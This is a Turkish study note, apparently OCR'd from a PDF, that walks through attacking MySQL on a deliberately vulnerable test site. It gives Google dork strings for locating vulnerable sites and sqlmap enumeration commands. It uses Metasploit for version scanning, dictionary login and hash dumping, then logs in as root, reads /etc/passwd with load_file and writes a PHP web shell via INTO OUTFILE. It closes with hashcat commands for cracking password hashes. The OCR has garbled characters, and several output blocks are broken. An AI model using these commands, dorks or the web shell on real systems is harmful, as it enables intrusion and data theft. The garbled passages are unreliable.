ON BILGI
Bu belgenin resmi adresi bulunamamistir. Alternatif adreste yedeklenmistir. Bu belge
¢ https://www.includekarabuk.com/kitaplik/indirmeDeposu/
Siber_Guvenlik_Teknik_Makaleler/Teori/BaskalarinaAitMakaleler/MySQL%20S
%C4%B1zma%20Testi.pdf

adresindeki makaleye calisilarak elde edilen notlarimi kapsamaktadir. Bu ¢ikarilan notlar belgemde
alintilar ve/veya kisisel ilavelerim mevcuttur.



1)

Giinlimiiz teknolojilerine bagh kalarak tekrarlanabilir modiilerlikteki test metodolojileriyle birlikte
ve yiiksek kalitedeki yazimlar sayesinde kaliteli ve giivenilir giivenlik testleri yapabilirsiniz.
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2)

Sizma Testi Nedir?

Si1zma testi bir sistemin kaynaklarina herhangi bir kullanici adi, sifre veya erisim icin gerekli
olabilecek diger yan verilere sahip olmadan o sisteme giris denemeleri yapabilmek adina gelistirilen
stireclerin tiimiine verilen addir. Basaril bir penetrasyon testinin sonunda gizli bir dokiiman, fiyat
listesi, veritabani veya diger korumal bilgiye erisilebilir olmas: gerekir.
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3)

Savunmasiz Site Aramak

Koétii niyetli kisiler ve organizasyonlar savunmasiz bir web sitesini ve haliyle savunmasiz bir
veritabanini bulabilmek icin 6ncelikle google'da 6zel keyword'ler kullanarak arama yaparlar.
Mesela “php?id=XXX” gibi. Bu standart keyword'leri kullanarak savunmasiz site bulmak oldukca
kolaydir. Asagida bu keyword'lerden bazilarim1 gérmektesiniz:

* inurl:index.php?id=

« inurl:gallery.php?id=
* inurl:post.php?id=

* inurl:article?id=

Belirli mantik cercevesinde bu linkler cesitlendirilebilir. Bu yazida veritabanina sizma islemi kasith
zafiyetler barindiran http://www.webscantest.com sitesi lizerinden gerceklestirilecektir.
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4)
MySQL'e Sqlmap ile S1zma

Asagidaki komut ile hedef sitenin SQL Injection acigindan faydalanarak ¢ahistirdigi MySQL
yaziliminin versiyonu tespit edilir:

> sglmap -u "http://www.webscantest.com/datastore/search_get_by_id.php?id=4"

Output:
[...]
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5.0



Asagidaki komut hedef sistemdeki yiiklii tiim veritabanlarin ekrana basacaktir.
> sqlmap -u "http://www.webscantest.com/datastore/search_get_by_id.php?id=4" --dbs
Output:

scanme
information_schema

Asagidaki komut ise hedef sistemdeki scanme adli veritabaninin i¢indeki barinan tablolarin tiim
kolonlar ekrana basacaktir:
> sqlmap -u "http://www.webscantest.com/datastore/search_get_by_id.php?id=4" --dbs --
columns -D webscantest

Output:

root@kali: ~

File Edit View Search Terminal Help

unsigned

[root@kali: ~] E root@kali: ~

Gortildiigi tizere kolonlar ilgili tablo isimleri altinda kategorik olarak ekrana basilmistir.
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5)
MySQL'e Metasploit ile Sizma

Metasploit modiiliinde kullanmak {izere hedef sitenin IP'sini 6grenelim:

> nslookup http://www.webscantest.com

Output:
69.164.223.208

Ardindan metasploit modiiliimiizii hazirlayalim.

msf > use auxiliary/scanner/mysql/mysql_version
msf auxiliary(mysql_version) > set RHOSTS 69.164.223.208
msf auxiliary(mysql_version) > run

Output:
[*] 69.164.223.208 is running MySQL 5.0.51a-3ubuntu5 (protocol 10)

Versiyon tespiti sonras: simdi sozliik saldirisi ile hedef MySQL yazilimina ait bir hesap ele
gecirmeye calisalim:

msf > use auxiliary/scanner/mysql/mysql_login

msf auxiliary(mysql_login) > set RHOSTS 69.164.223.208

msf auxiliary(mysql_login) > set USER_FILE /root/Desktop/usernames.txt
msf auxiliary(mysql_login) > set PASS_FILE /root/Desktop/passwords.txt
msf auxiliary(mysql_login) > run

Output:

Yesil renkli satirlardan da gorebilecegimiz iizere guest ve root kullanicilarinin sifresi olmadig: tespit
edilmistir. Bu hesaplardan biri kullanilarak hedef MySQL yaziliminin sahip oldugu tiim hesaplar
hakkinda detayh bilgi edinilebilir. Bunun i¢in mysql_enum modiilii kullanilmalidir:



msf > use auxiliary/admin/mysql/mysql_enum

msf auxiliary(mysql_enum) > set RHOST 69.164.223.208
msf auxiliary(mysql_enum) > set USERNAME root

msf auxiliary(mysql_enum) > run

Output:
Connection is refused by remote host. [Puffff :(]

MySQL'deki tiim hesaplarin sifrelerini ekrana basmak icin Metasploit'in mysql_hashdump modiilii
kullamlmalidur:

msf > use auxiliary/scanner/mysql/mysql_hashdump

msf auxiliary(mysql_hashdump) > set USERNAME root

msf auxiliary(mysql_hashdump) > set RHOSTS 69.164.223.208
msf auxiliary(mysql_hashdump) > run

Output:
root:
guest:
root'un ve guet'in parolasi olmadigindan ilgili hash verisi ¢iktiya yansimamistir. Eger olsaydi

elimizde tiim MySQL kullanicilarinin parola hash'leri olmus olacakti.

mysql_hashdump modiiliiniin sundugu hesap bilgilerini kullanarak konsoldan hedef MySQL'e
baglanabiliriz. Baglant1 igin gerekli kod syntax'1 su sekildedir:

> mysql -h hedefIP -u username -p password

Daha 6nce mysql_login modiilii ile yapilan sézliik saldirisinda kesfettigimiz tizere root kullanicisi
vardi ve sifresi yoktu. Bu hesabi simdi hedef mysql'e baglanmak icin kullanalim:
> mysql -h 69.164.223.208 -u root -p

Welcome to the MySQL monitor.
Your MySQL connection id is 866.

mysql >
Goriildiigii tizere mysql oturumu agilmig bulunmaktadir. Artik SQL komutlari ile hedef MySQL

yaziliminda ytiklii veritabanlari, tablolar, kolonlar ve degerleri ekrana basilabilir ve hassas bilgiler
ele gecirilebilir.



mysql > show databases;

Output:

Sirali veritabanlarindan mysql adli veritabanini secelim ve bu veritabaninin icinde yiiklii tablolar1
ekrana basalim:

mysql > use mysql
mysql > show tables;
Output:

q1

] information for completion of table and column names
You can turn off this feature to get a quicker startup

columns_p

Siral tablolardan user adli tabloyu secelim ve kolon degerlerini ekrana basalim:



mysql > select User, Password from user;

Output:

mord from user:

debian-sys-maint

root

Goriildiigii gibi 3 kullanic1 var ve sifreleri ise yok. Goriildiigii iizere zayif sifreleme MySQL
pentester'larinin en ¢ok ilgilendikleri zafiyetlerden biridir. Bu, biitiin sistemi ele gecirmenin en
kolay yollarindan biridir. Ciinkii hesap bilgileri elimizde ise konsoldan mysql ile session
alabilecegimiz anlamina gelir. Eger session alabilirsek istedigimiz tablonun igerigini
okuyabilecegimiz anlamina gelir. Yani sistemin anahtarlar1 elimize gececektir. Boylelikle
saldirganlar hassas verisi calinmis firmaya santaj yapabilir, fidye isteyebilir ya da internette
yayinlayabilir.
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6)

Hedef sistemin /etc/passwd gibi kritik bir dosyasini okuyalim. Boylece hedef sistemde yiiklii isletim
sistemine ait kullanic1 adlarina ve ait olduklar gruplara vakif olmus olacagiz:

mysql > SELECT load_file('/etc/passwd’);
Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh

Hedef sistemde ilerlemek icin ¢aligan servislerin konfigurasyon dosyalar1 okunarak ¢alisma
dizinleri, kullanic1 hesaplar gibi bilgiler elde edilebilir.
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7)
Dosya okumanin yanisira bir bagka tercih ise sistemde komut ¢alistirmak, icerik yiiklemek ve
calistirmak olabilir. Bunun i¢in into outfile() fonksiyonundan yararlanilir:

SELECT "<? system($_REQUEST['cmd']); ?>" INTO OUTFILE "/var/www/ajan.php"; --

Komut diizgiin ¢alistig1 takdirde asagidaki gibi bir kullanim ile hedef sistem {izerinde komut
calistirip ¢iktisini tarayici ekranina basabiliriz:
http://hedef.com/ajan.php?cmd=cat /etc/apache2/apache2.conf
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8)
Hashcat ile MySQL Password'ii Kirma
Varsayalim ki ele gecirdigimiz MySQL parola 6zeti su sekildedir:
6691484EA6B50DDDE1926A220DA01FA9E575C18A
Bu parolay: kirabilmek icin hashcat'ten yararlanabiliriz:
> hashcat --help | grep MySQL
Output:
200 = MySQL
300 = MySQL4.1/MySQL5

Goriildiigii tizere kullanabilecegimiz iki alternatif vardir. Eger birincisi ise yaramazsa ikincisini
kullanin. Béylece parolay1 kirmig olacaksiniz:

> hashcat -m 200 -a 0 /root/Desktop/hash.txt /root/Desktop/rockyou.txt
> hashcat -m 300 -a 0 /root/Desktop/hash.txt /root/Desktop/rockyou.txt

Output:
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